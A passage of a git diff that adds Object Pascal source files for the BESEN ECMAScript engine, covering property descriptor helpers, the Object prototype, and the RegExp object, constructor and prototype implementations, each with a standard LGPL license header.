Attributes:TBESENObjectPropertyDescriptorAttributes):TBESENObjectPropertyDescriptor; {$ifdef caninline}inline;{$endif} +function BESENPropertyDescriptor(const Value:TBESENValue;const Getter,Setter:TObject;const Attributes:TBESENObjectPropertyDescriptorAttributes):TBESENObjectPropertyDescriptor; {$ifdef caninline}inline;{$endif} + +function BESENIsUndefinedDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsAccessorDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsDataDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsGenericDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +function BESENIsInconsistentDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} + +implementation + +uses BESEN; + +function BESENAccessorPropertyDescriptor(const Getter,Setter:TObject;const Attributes:TBESENObjectPropertyDescriptorAttributes):TBESENObjectPropertyDescriptor; {$ifdef caninline}inline;{$endif} +begin + result.Value.ValueType:=bvtUNDEFINED; + result.Getter:=Getter; + result.Setter:=Setter; + result.Attributes:=Attributes*[bopaENUMERABLE,bopaCONFIGURABLE]; + result.Presents:=[boppENUMERABLE,boppCONFIGURABLE]; + if assigned(result.Getter) then begin + result.Presents:=result.Presents+[boppGETTER]; + end; + if assigned(result.Setter) then begin + result.Presents:=result.Presents+[boppSETTER]; + end; +end; + +function BESENDataPropertyDescriptor(const Value:TBESENValue;const Attributes:TBESENObjectPropertyDescriptorAttributes):TBESENObjectPropertyDescriptor; {$ifdef caninline}inline;{$endif} +begin + BESENCopyValue(result.Value,Value); + result.Getter:=nil; + result.Setter:=nil; + result.Attributes:=Attributes; + result.Presents:=[boppVALUE,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; +end; + +function BESENPropertyDescriptor(const Value:TBESENValue;const Getter,Setter:TObject;const Attributes:TBESENObjectPropertyDescriptorAttributes):TBESENObjectPropertyDescriptor; {$ifdef caninline}inline;{$endif} +begin + BESENCopyValue(result.Value,Value); + result.Getter:=Getter; + result.Setter:=Setter; + result.Attributes:=Attributes; + result.Presents:=[boppVALUE,boppGETTER,boppSETTER,boppWRITABLE,boppENUMERABLE,boppCONFIGURABLE]; +end; + +function BESENIsUndefinedDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=Descriptor.Presents=[]; +end; + +function BESENIsAccessorDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=([boppGETTER,boppSETTER]*Descriptor.Presents)<>[]; +end; + +function BESENIsDataDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[]; +end; + +function BESENIsGenericDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=not (BESENIsAccessorDescriptor(Descriptor) or BESENIsDataDescriptor(Descriptor)); +end; + +function BESENIsInconsistentDescriptor(const Descriptor:TBESENObjectPropertyDescriptor):boolean; {$ifdef caninline}inline;{$endif} +begin + result:=(([boppGETTER,boppSETTER]*Descriptor.Presents)<>[]) and (([boppVALUE,boppWRITABLE]*Descriptor.Presents)<>[]); +end; + +procedure InitBESEN; +begin + fillchar(BESENUndefinedPropertyDescriptor,sizeof(TBESENObjectPropertyDescriptor),#0); + BESENUndefinedPropertyDescriptor.Presents:=[]; +end; + +procedure DoneBESEN; +begin +end; + +initialization + InitBESEN; +finalization + DoneBESEN; +end. + diff --git a/Core/JS/BESENObjectPrototype.pas b/Core/JS/BESENObjectPrototype.pas new file mode 100644 index 0000000..510d5db --- /dev/null +++ b/Core/JS/BESENObjectPrototype.pas @@ -0,0 +1,223 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectPrototype; +{$i BESEN.inc} + +interface + +uses BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectPrototype=class(TBESENObject) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeToSource(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeHasOwnProperty(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIsPrototypeOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativePropertyIsEnumerable(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors; + +constructor TBESENObjectPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectName:='prototype'; + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; + + RegisterNativeFunction('toString',NativeToString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toLocaleString',NativeToLocaleString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('toSource',NativeToSource,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('valueOf',NativeValueOf,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('hasOwnProperty',NativeHasOwnProperty,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('isPrototypeOf',NativeIsPrototypeOf,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('propertyIsEnumerable',NativePropertyIsEnumerable,0,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectPrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var o:TBesenObject; +begin + // ES5 errata fix + case ThisArgument.ValueType of + bvtUNDEFINED:begin + ResultValue:=BESENStringValue('[object Undefined]'); + end; + bvtNULL:begin + ResultValue:=BESENStringValue('[object Null]'); + end; + else begin + o:=TBESEN(Instance).ToObj(ThisArgument); + o.GarbageCollectorLock; + try + if assigned(o) then begin + if length(o.ObjectClassName)>0 then begin + ResultValue:=BESENStringValue('[object '+o.ObjectClassName+']'); + end else begin + ResultValue:=BESENStringValue('[object Object]'); + end; + end else begin + BESENThrowTypeError('Null this object'); + end; + finally + o.GarbageCollectorUnlock; + end; + end; + end; +end; + +procedure TBESENObjectPrototype.NativeToLocaleString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v:TBESENValue; + o:TBesenObject; +begin + o:=TBESEN(Instance).ToObj(ThisArgument); + if assigned(o) then begin + o.GarbageCollectorLock; + try + o.Get('toString',v); + if (v.ValueType=bvtOBJECT) and assigned(TBESENObject(v.Obj)) and TBESENObject(v.Obj).HasCall then begin + TBESEN(Instance).ObjectCall(TBESENObject(v.Obj),ThisArgument,Arguments,CountArguments,ResultValue); + end else begin + BESENThrowTypeError('Null this object'); + end; + finally + o.GarbageCollectorUnlock; + end; + end else begin + BESENThrowTypeError('Null this object'); + end; +end; + +procedure TBESENObjectPrototype.NativeToSource(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue:=BESENStringValue('/* Unimplemented */'); +end; + +procedure TBESENObjectPrototype.NativeValueOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + TBESEN(Instance).ToObjectValue(ThisArgument,ResultValue); +end; + +procedure TBESENObjectPrototype.NativeHasOwnProperty(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Descriptor:TBESENObjectPropertyDescriptor; + o:TBesenObject; +begin + o:=TBESEN(Instance).ToObj(ThisArgument); + if not assigned(o) then begin + raise EBESENTypeError.Create('Null this object'); + end; + o.GarbageCollectorLock; + try + ResultValue.ValueType:=bvtBOOLEAN; + if CountArguments>0 then begin + ResultValue.Bool:=o.GetOwnProperty(TBESEN(Instance).ToStr(Arguments^[0]^),Descriptor); + end else begin + ResultValue.Bool:=false; + end; + finally + o.GarbageCollectorUnlock; + end; +end; + +procedure TBESENObjectPrototype.NativeIsPrototypeOf(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v,o:TBESENObject; +begin + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=false; + if (CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) then begin + o:=TBESEN(Instance).ToObj(ThisArgument); + if not assigned(o) then begin + raise EBESENTypeError.Create('Null this object'); + end; + o.GarbageCollectorLock; + try + v:=TBESENObject(Arguments^[0]^.Obj); + while assigned(v) do begin + v:=v.Prototype; + if assigned(v) then begin + if o=v then begin + ResultValue.Bool:=true; + break; + end; + end else begin + ResultValue.Bool:=false; + break; + end; + end; + finally + o.GarbageCollectorUnlock; + end; + end else begin + ResultValue.Bool:=false; + end; +end; + +procedure TBESENObjectPrototype.NativePropertyIsEnumerable(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var Descriptor:TBESENObjectPropertyDescriptor; + o:TBESENObject; + s:TBESENString; +begin + ResultValue.ValueType:=bvtBOOLEAN; + if CountArguments>0 then begin + s:=TBESEN(Instance).ToStr(Arguments^[0]^); + o:=TBESEN(Instance).ToObj(ThisArgument); + if not assigned(o) then begin + raise EBESENTypeError.Create('Null this object'); + end; + o.GarbageCollectorLock; + try + if o.GetOwnProperty(s,Descriptor) then begin + ResultValue.Bool:=(boppENUMERABLE in Descriptor.Presents) and (bopaENUMERABLE in Descriptor.Attributes); + end else begin + ResultValue.Bool:=false; + end; + finally + o.GarbageCollectorUnlock; + end; + end else begin + ResultValue.Bool:=false; + end; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENObjectRegExp.pas b/Core/JS/BESENObjectRegExp.pas new file mode 100644 index 0000000..288bcc2 --- /dev/null +++ b/Core/JS/BESENObjectRegExp.pas @@ -0,0 +1,199 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectRegExp; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor, + BESENRegExp; + +type TBESENObjectRegExp=class(TBESENObject) + public + Engine:TBESENRegExp; + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasCall:TBESENBoolean; override; + procedure Finalize; override; + procedure Mark; override; + procedure SetStatic(const Input:TBESENString;const Captures:TBESENRegExpCaptures); + end; + +implementation + +uses BESEN,BESENErrors; + +constructor TBESENObjectRegExp.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +var bv:TBESENValue; +begin + inherited Create(AInstance,APrototype); + ObjectClassName:='RegExp'; + ObjectName:=''; + + Engine:=TBESEN(Instance).DefaultRegExp; + + OverwriteData('source',BESENStringValue(''),[]); + + bv.ValueType:=bvtBOOLEAN; + bv.Bool:=brefGLOBAL in Engine.Flags; + OverwriteData('global',bv,[]); + + bv.Bool:=brefIGNORECASE in Engine.Flags; + OverwriteData('ignoreCase',bv,[]); + + bv.Bool:=brefMULTILINE in Engine.Flags; + OverwriteData('multiline',bv,[]); + + OverwriteData('lastIndex',BESENNumberValue(0),[bopaWRITABLE]); +end; + +destructor TBESENObjectRegExp.Destroy; +begin + if assigned(Engine) then begin + if Engine<>TBESEN(Instance).DefaultRegExp then begin + Engine.DecRef; + end; + Engine:=nil; + end; + inherited Destroy; +end; + +procedure TBESENObjectRegExp.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + TBESEN(Instance).ObjectRegExpPrototype.NativeExec(ThisArgument,Arguments,CountArguments,AResult); + end else begin + raise EBESENTypeError.Create('Not callable'); + end; +end; + +function TBESENObjectRegExp.HasCall:TBESENBoolean; +begin + result:=(TBESEN(Instance).Compatibility and COMPAT_JS)<>0; +end; + +procedure TBESENObjectRegExp.Finalize; +begin + inherited Finalize; +end; + +procedure TBESENObjectRegExp.Mark; +begin + inherited Mark; +end; + +procedure TBESENObjectRegExp.SetStatic(const Input:TBESENString;const Captures:TBESENRegExpCaptures); +var i:integer; + v:TBESENValue; + pn,lastParen:TBESENString; +begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)=0 then begin + exit; + end; + v:=BESENEmptyValue; + lastParen:=''; + for i:=0 to 9 do begin + case i of + 0:pn:='$&'; + 1:pn:='$1'; + 2:pn:='$2'; + 3:pn:='$3'; + 4:pn:='$4'; + 5:pn:='$5'; + 6:pn:='$6'; + 7:pn:='$7'; + 8:pn:='$8'; + 9:pn:='$9'; + else pn:='$0'; + end; + if (i<length(Captures)) and (Captures[i].e<>brecUNDEFINED) then begin + v:=BESENStringValue(copy(Input,Captures[i].s+1,Captures[i].e-Captures[i].s)); + end else begin + v:=BESENStringValue(''); + end; + if (i>0) and (i<length(Captures)) then begin + lastParen:=v.Str; + end; + OverwriteData(pn,v,[bopaWRITABLE,bopaENUMERABLE,bopaCONFIGURABLE]); + if i=0 then begin + OverwriteData('lastMatch',v,[bopaWRITABLE,bopaCONFIGURABLE]); + end; + end; + + v.ValueType:=bvtBOOLEAN; + v.Bool:=brefMULTILINE in Engine.Flags; + OverwriteData('$*',v,[bopaWRITABLE,bopaCONFIGURABLE]); + OverwriteData('multiline',v,[]); + + v:=BESENStringValue(Input); + OverwriteData('$_',v,[bopaWRITABLE,bopaCONFIGURABLE]); + OverwriteData('input',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v:=BESENStringValue(lastParen); + OverwriteData('$+',v,[bopaWRITABLE,bopaCONFIGURABLE]); + OverwriteData('leftParen',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + if (length(Captures)>0) and not (brefGLOBAL in Engine.Flags) then begin + v:=BESENStringValue(copy(Input,1,Captures[0].s)); + end else begin + v:=BESENStringValue(''); + end; + OverwriteData('$`',v,[bopaWRITABLE,bopaCONFIGURABLE]); + OverwriteData('leftContext',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + if (length(Captures)>0) and not (brefGLOBAL in Engine.Flags) then begin + v:=BESENStringValue(copy(Input,Captures[0].e,(length(Input)-longint(Captures[0].e))+1)); + end else begin + v:=BESENStringValue(''); + end; + OverwriteData('$''',v,[bopaWRITABLE,bopaCONFIGURABLE]); + OverwriteData('rightContext',v,[bopaWRITABLE,bopaCONFIGURABLE]); + + v.ValueType:=bvtBOOLEAN; + v.Bool:=brefGLOBAL in Engine.Flags; + OverwriteData('global',v,[]); + + v.ValueType:=bvtBOOLEAN; + v.Bool:=brefIGNORECASE in Engine.Flags; + OverwriteData('ignoreCase',v,[]); + + if (length(Captures)>0) and not (brefGLOBAL in Engine.Flags) then begin + v:=BESENNumberValue(Captures[0].e); + end else begin + v:=BESENNumberValue(0); + end; + OverwriteData('lastIndex',v,[bopaWRITABLE]); + + OverwriteData('source',BESENStringValue(Engine.Source),[]); +end; + +end. diff --git a/Core/JS/BESENObjectRegExpConstructor.pas b/Core/JS/BESENObjectRegExpConstructor.pas new file mode 100644 index 0000000..28b1e7c --- /dev/null +++ b/Core/JS/BESENObjectRegExpConstructor.pas @@ -0,0 +1,188 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectRegExpConstructor; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectFunction,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectRegExpConstructor=class(TBESENObjectFunction) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasConstruct:TBESENBoolean; override; + function HasCall:TBESENBoolean; override; + function HasInstance(const AInstance:TBESENValue):TBESENBoolean; override; + function HasHasInstance:TBESENBoolean; override; + end; + +implementation + +uses BESEN,BESENObjectRegExp,BESENRegExp,BESENErrors; + +constructor TBESENObjectRegExpConstructor.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='RegExp'; +end; + +destructor TBESENObjectRegExpConstructor.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectRegExpConstructor.Construct(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +var r1:TBESENObjectRegExp; + s,f:TBESENString; + Flags:TBESENRegExpFlags; + v:TBESENValue; + i:integer; +begin + r1:=TBESENObjectRegExp.Create(Instance,TBESEN(Instance).ObjectRegExpPrototype,false); + TBESEN(Instance).GarbageCollector.Add(r1); + r1.GarbageCollectorLock; + try + if (CountArguments>0) and (Arguments^[0]^.ValueType=bvtOBJECT) and assigned(Arguments^[0]^.Obj) and (Arguments^[0]^.Obj is TBESENObjectRegExp) then begin + r1.Engine:=TBESENObjectRegExp(Arguments^[0]^.Obj).Engine; + end else begin + if (CountArguments<1) or (Arguments^[0]^.ValueType=bvtUNDEFINED) then begin + s:=''; + end else begin + s:=TBESEN(Instance).ToStr(Arguments^[0]^); + end; + if CountArguments>1 then begin + f:=TBESEN(Instance).ToStr(Arguments^[1]^); + end else begin + f:=''; + end; + Flags:=[]; + for i:=1 to length(f) do begin + case f[i] of + 'g':begin + if brefGLOBAL in Flags then begin + raise EBESENSyntaxError.Create('Too many global regular expression flags'); + end else begin + Flags:=Flags+[brefGLOBAL]; + end; + end; + 'i':begin + if brefIGNORECASE in Flags then begin + raise EBESENSyntaxError.Create('Too many ignorecase regular expression flags'); + end else begin + Flags:=Flags+[brefIGNORECASE]; + end; + end; + 'm':begin + if brefMULTILINE in Flags then begin + raise EBESENSyntaxError.Create('Too many multiline regular expression flags'); + end else begin + Flags:=Flags+[brefMULTILINE]; + end; + end; + else begin + raise EBESENSyntaxError.Create('Unknown regular expression flag'); + end; + end; + end; + try + r1.Engine:=TBESEN(Instance).RegExpCache.Get(s,Flags); + except + raise EBESENSyntaxError.Create('Invalid regular expression'); + end; + end; + + if assigned(r1.Engine) then begin + r1.Engine.IncRef; + end else begin + raise EBESENError.Create('Fatal error'); + end; + + r1.Engine.DebugDump; + + v.ValueType:=bvtSTRING; + v.Str:=r1.Engine.Source; + r1.OverwriteData('source',v,[]); + + v.ValueType:=bvtBOOLEAN; + v.Bool:=brefGLOBAL in r1.Engine.Flags; + r1.OverwriteData('global',v,[]); + + v.ValueType:=bvtBOOLEAN; + v.Bool:=brefIGNORECASE in r1.Engine.Flags; + r1.OverwriteData('ignoreCase',v,[]); + + v.ValueType:=bvtBOOLEAN; + v.Bool:=brefMULTILINE in r1.Engine.Flags; + r1.OverwriteData('multiline',v,[]); + + v.ValueType:=bvtNUMBER; + v.Num:=0; + r1.OverwriteData('lastIndex',v,[bopaWRITABLE]); + finally + r1.GarbageCollectorUnlock; + end; + AResult:=BESENObjectValue(r1); +end; + +procedure TBESENObjectRegExpConstructor.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + Construct(ThisArgument,Arguments,CountArguments,AResult); +end; + +function TBESENObjectRegExpConstructor.HasConstruct:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectRegExpConstructor.HasCall:TBESENBoolean; +begin + result:=true; +end; + +function TBESENObjectRegExpConstructor.HasInstance(const AInstance:TBESENValue):TBESENBoolean; +begin + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + result:=(AInstance.ValueType=bvtOBJECT) and assigned(AInstance.Obj) and (AInstance.Obj is TBESENObjectRegExp); + end else begin + raise EBESENTypeError.Create('Has no instance'); + end; +end; + +function TBESENObjectRegExpConstructor.HasHasInstance:TBESENBoolean; +begin + result:=(TBESEN(Instance).Compatibility and COMPAT_JS)<>0; +end; + +end. diff --git a/Core/JS/BESENObjectRegExpPrototype.pas b/Core/JS/BESENObjectRegExpPrototype.pas new file mode 100644 index 0000000..14c493e --- /dev/null +++ b/Core/JS/BESENObjectRegExpPrototype.pas @@ -0,0 +1,228 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectRegExpPrototype; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENObjectRegExp,BESENValue,BESENObjectPropertyDescriptor, + BESENRegExp; + +type TBESENObjectRegExpPrototype=class(TBESENObjectRegExp) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeTest(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeExec(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENErrors,BESENNumberUtils,BESENArrayUtils,BESENObjectArray; + +constructor TBESENObjectRegExpPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='RegExp'; + ObjectName:='RegExp'; + + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; + + RegisterNativeFunction('toString',NativeToString,0,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('test',NativeTest,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('exec',NativeExec,1,[bopaWRITABLE,bopaCONFIGURABLE],false); +end; + +destructor TBESENObjectRegExpPrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectRegExpPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s:TBESENString; + i:integer; + c:widechar; +begin + if ((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and (((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj)))and (TBESENObject(ThisArgument.Obj) is TBESENObjectRegExpPrototype)) then begin + ResultValue:=BESENStringValue('RegExp.prototype'); + end else if ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) and (TBESENObject(ThisArgument.Obj) is TBESENObjectRegExp) then begin + s:='/'; + i:=1; + while i<=length(TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Source) do begin + c:=TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Source[i]; + case c of + '/':begin + s:=s+'\/'; + inc(i); + end; + '\':begin + s:=s+'\\'; + inc(i); + if i<=length(TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Source) then begin + c:=TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Source[i]; + s:=s+c; + inc(i); + end; + end; + else begin + s:=s+c; + inc(i); + end; + end; + end; + s:=s+'/'; + if brefGLOBAL in TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Flags then begin + s:=s+'g'; + end; + if brefIGNORECASE in TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Flags then begin + s:=s+'i'; + end; + if brefMULTILINE in TBESENObjectRegExp(TBESENObject(ThisArgument.Obj)).Engine.Flags then begin + s:=s+'m'; + end; + ResultValue:=BESENStringValue(s); + end else begin + raise EBESENTypeError.Create('Not a RegExp object'); + end; +end; + +procedure TBESENObjectRegExpPrototype.NativeTest(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v,vo,vs:TBESENValue; + ValuePointers:array[0..0] of PBESENValue; +begin + Get('exec',v); + TBESEN(Instance).ToObjectValue(v,vo); + if (vo.ValueType<>bvtOBJECT) or not (assigned(TBESENObject(vo.Obj)) and TBESENObject(vo.Obj).HasCall) then begin + raise EBESENTypeError.Create('No callable'); + end; + TBESENObject(vo.Obj).GarbageCollectorLock; + try + if CountArguments<1 then begin + ValuePointers[0]:=@BESENUndefinedValue; + end else begin + ValuePointers[0]:=Arguments^[0]; + end; + TBESEN(Instance).ObjectCall(TBESENObject(vo.Obj),ThisArgument,@ValuePointers,1,vs); + finally + TBESENObject(vo.Obj).GarbageCollectorUnlock; + end; + ResultValue.ValueType:=bvtBOOLEAN; + ResultValue.Bool:=TBESEN(Instance).EqualityExpressionCompare(vs,BESENNullValue)<>0; +end; + +procedure TBESENObjectRegExpPrototype.NativeExec(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var v,vi:TBESENValue; + i:integer; + s:TBESENString; + Captures:TBESENRegExpCaptures; + o:TBESENObjectArray; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(TBESENObject(ThisArgument.Obj))) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if not (TBESENObject(ThisArgument.Obj) is 